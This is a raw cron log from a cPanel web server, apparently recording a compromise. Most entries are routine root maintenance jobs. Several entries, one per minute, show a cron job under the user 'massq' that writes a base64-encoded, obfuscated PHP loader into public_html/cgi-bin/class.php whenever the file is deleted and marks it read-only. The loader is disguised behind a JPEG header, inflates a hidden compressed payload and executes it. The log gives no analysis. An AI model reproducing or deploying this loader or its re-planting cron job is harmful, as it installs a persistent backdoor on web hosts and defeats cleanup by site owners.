Sep  1 18:35:01 server CROND[20084]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 18:36:01 server CROND[20913]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:36:01 server CROND[20914]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:36:01 server CROND[20915]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:37:01 server CROND[21304]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:37:01 server CROND[21305]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:37:01 server CROND[21306]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:38:01 server CROND[21858]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:38:01 server CROND[21857]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:38:01 server CROND[21859]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:39:01 server CROND[22389]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:39:01 server CROND[22390]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:39:01 server CROND[22392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:39:01 server CROND[22391]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 18:40:01 server CROND[22824]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 18:40:01 server CROND[22828]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 18:40:01 server CROND[22842]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:40:01 server CROND[22856]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 18:40:01 server CROND[22857]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:40:01 server CROND[22841]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 18:40:01 server CROND[22859]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:40:01 server CROND[22876]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 18:41:01 server CROND[23800]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:41:01 server CROND[23801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:41:01 server CROND[23802]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:42:01 server CROND[24192]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:42:01 server CROND[24191]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:42:01 server CROND[24193]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:42:01 server CROND[24194]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 18:43:01 server CROND[24673]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:43:01 server CROND[24675]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:43:01 server CROND[24674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:44:01 server CROND[25059]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:44:01 server CROND[25061]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:44:01 server CROND[25060]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:45:01 server CROND[25472]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 18:45:01 server CROND[25473]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:45:01 server CROND[25476]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:45:01 server CROND[25475]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 18:45:01 server CROND[25474]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:45:01 server CROND[25477]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 18:45:01 server CROND[25478]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 18:46:01 server CROND[26360]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:46:01 server CROND[26361]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:46:01 server CROND[26362]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:47:01 server CROND[26800]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:47:01 server CROND[26802]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:47:01 server CROND[26801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:48:01 server CROND[27342]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
